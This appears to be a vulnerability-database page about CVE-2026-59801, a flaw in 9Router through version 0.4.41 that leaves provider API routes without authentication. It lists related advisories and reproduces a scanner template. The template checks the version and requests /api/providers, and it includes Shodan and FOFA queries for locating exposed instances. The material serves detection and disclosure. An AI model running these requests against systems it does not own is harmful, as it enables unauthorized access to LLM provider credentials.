9Router - Unauthenticated LLM Provider API Exposure
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2026-59801 | 13 Jul 202621:30 | – | attackerkb | |
| CVE-2026-59801 | 13 Jul 202621:52 | – | circl | |
| CVE-2026-59801 | 13 Jul 202621:30 | – | cve | |
| CVE-2026-59801 9Router 0.4.41 - Unauthenticated API Exposure via /api/providers | 13 Jul 202621:30 | – | cvelist | |
| EUVD-2026-43559 | 14 Jul 202600:31 | – | euvd | |
| CVE-2026-59801 | 13 Jul 202622:16 | – | nvd | |
| CVE-2026-59801 9Router 0.4.41 - Unauthenticated API Exposure via /api/providers | 13 Jul 202621:30 | – | osv | |
| CVE-2026-62327 9Router 0.4.41 - Unauthenticated API Key Exposure via /api/usage/stats | 13 Jul 202621:37 | – | osv | |
| CVE-2026-62328 9Router 0.4.41 - Unauthenticated Information Disclosure via API Usage Endpoints | 13 Jul 202621:37 | – | osv | |
| GHSA-VJC7-JRH9-9J86 9router has unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats | 6 Jul 202621:22 | – | osv |
10
id: CVE-2026-59801
info:
name: 9Router - Unauthenticated LLM Provider API Exposure
author: 0x_Akoko
severity: critical
description: |
9Router through version 0.4.41 contains an unauthenticated access vulnerability caused by missing authentication middleware in Next.js API routes under src/app/api/providers/*, letting remote attackers enumerate, create, modify, or delete provider connections, exploit requires no authentication.
impact: |
Remote attackers can expose credentials, redirect traffic, or cause denial of service by deleting provider connections.
remediation: |
Update to the latest version that includes authentication middleware for API routes.
reference:
- https://github.com/decolua/9router/security/advisories/GHSA-vjc7-jrh9-9j86
- https://nvd.nist.gov/vuln/detail/CVE-2026-59801
metadata:
verified: true
max-request: 2
product: 9router
vendor: decolua
shodan-query: port:20128 http.html:"9Router"
fofa-query: port="20128" || title="9Router"
tags: 9router,unauth,api-exposure,misconfig,api-key-leak
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "currentVersion")'
- 'compare_versions(lsversion, ">=0.0.1", "<=0.4.41")'
condition: and
internal: true
extractors:
- type: regex
name: lsversion
internal: true
group: 1
regex:
- '"currentVersion"\s*:\s*"([^"]+)"'
- raw:
- |
GET /api/providers HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "authType", "provider", "connections")'
condition: and
# digest: 490a00463044022006f0fed50c29d6ba9ddcb673702b7616c0b1b74dab30eb96b5c2e05f5178092d022020940a819186881ff030d085e9a6e18629af664546a645c2fd7f2d83d141592b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Jul 2026 03:11Current
6.1Medium risk
Vulners AI Score6.1
CVSS 49.3
CVSS 3.19.8
EPSS0.02244
SSVC